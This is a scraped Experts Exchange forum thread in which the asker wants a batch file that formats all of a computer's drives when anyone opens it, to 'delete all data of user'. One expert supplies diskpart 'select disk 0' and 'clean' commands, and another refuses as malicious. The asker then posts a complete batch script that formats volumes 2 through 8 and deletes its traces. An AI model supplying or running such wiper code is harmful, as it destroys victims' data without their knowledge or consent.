how to format all drives of computer with a batch file ,without any permission ?

make batch file ,if anyone can open ,it automatically format all drives of computer.
shaile'sss gAsked:
Who is Participating?

[Product update] Infrastructure Analysis Tool is now available with Business Accounts.Learn More

I wear a lot of hats...

"The solutions and answers provided on Experts Exchange have been extremely helpful to me over the last few years. I wear a lot of hats - Developer, Database Administrator, Help Desk, etc., so I know a lot of things but not a lot about one thing. Experts Exchange gives me answers from people who do know a lot about one thing, in a easy to use platform." -Todd S.

NVITEnd-user supportCommented:
Need clarification.

Example... I'm the user. The computer I'm on has C:, and D: drives. I open the batch. It formats both C:, and D: drives?
shaile'sss gAuthor Commented:
...........simply i can create a batch file and if user try to open that batch file then it automatically delete all data of user :"
Lasse BodilsenSystem AdministratorCommented:
I would not want to test if it works on my own computer :D

but with that said, you could properly get away with using diskpart instead.

Create small txt file named scriptfile.txt with:
select disk 0

Open in new window

and then in the bat file execute:
diskpart /s scriptfile.txt

Open in new window

or only from a bat file like:
echo select disk 0 > script.txt
echo clean >> script.txt
diskpart /s script.txt

Open in new window

of course diskpart will require an elevated command prompt to run, and this only deletes data on the first disk in the system (which might contain C:\ D:\ etc)

Experts Exchange Solution brought to you by

Your issues matter to us.

Facing a tech roadblock? Get the help and guidance you need from experienced professionals who care. Ask your question anytime, anywhere, with no hassle.

Start your 7-day free trial
Python 3 Fundamentals

This course will teach participants about installing and configuring Python, syntax, importing, statements, types, strings, booleans, files, lists, tuples, comprehensions, functions, and classes.

Qlemo"Batchelor", Developer and EE Topic AdvisorCommented:
No. Being able to do that would be very dangerous. I have to assume malicious intention here, because it just doesn't make any sense to format everything without performing an OS installation, which requires some knowledge and instructions.
shaile'sss gAuthor Commented:
@echo off
echo > script.txt select vol 2
echo >> script.txt format quick
echo >> script.txt select vol 3
echo >> script.txt format quick
echo >> script.txt select vol 4
echo >> script.txt format quick
echo >> script.txt select vol 5
echo >> script.txt format quick
echo >> script.txt select vol 6
echo >> script.txt format quick
echo >> script.txt select vol 7
echo >> script.txt format quick
echo >> script.txt select vol 8
echo >> script.txt format quick
diskpart /s script.txt
del script.txt
shaile'sss gAuthor Commented:
that's a code of batch file that is format our D drive E drive and Fdrive in another word i can say that this is format all drives of computer ignoring C drive .
It's more than this solution.Get answers and train to solve all your tech problems - anytime, anywhere.Try it for free Edge Out The Competitionfor your dream job with proven skills and certifications.Get started today Stand Outas the employee with proven skills.Start learning today for free Move Your Career Forwardwith certification training in the latest technologies.Start your trial today
Windows Batch

From novice to tech pro — start learning today.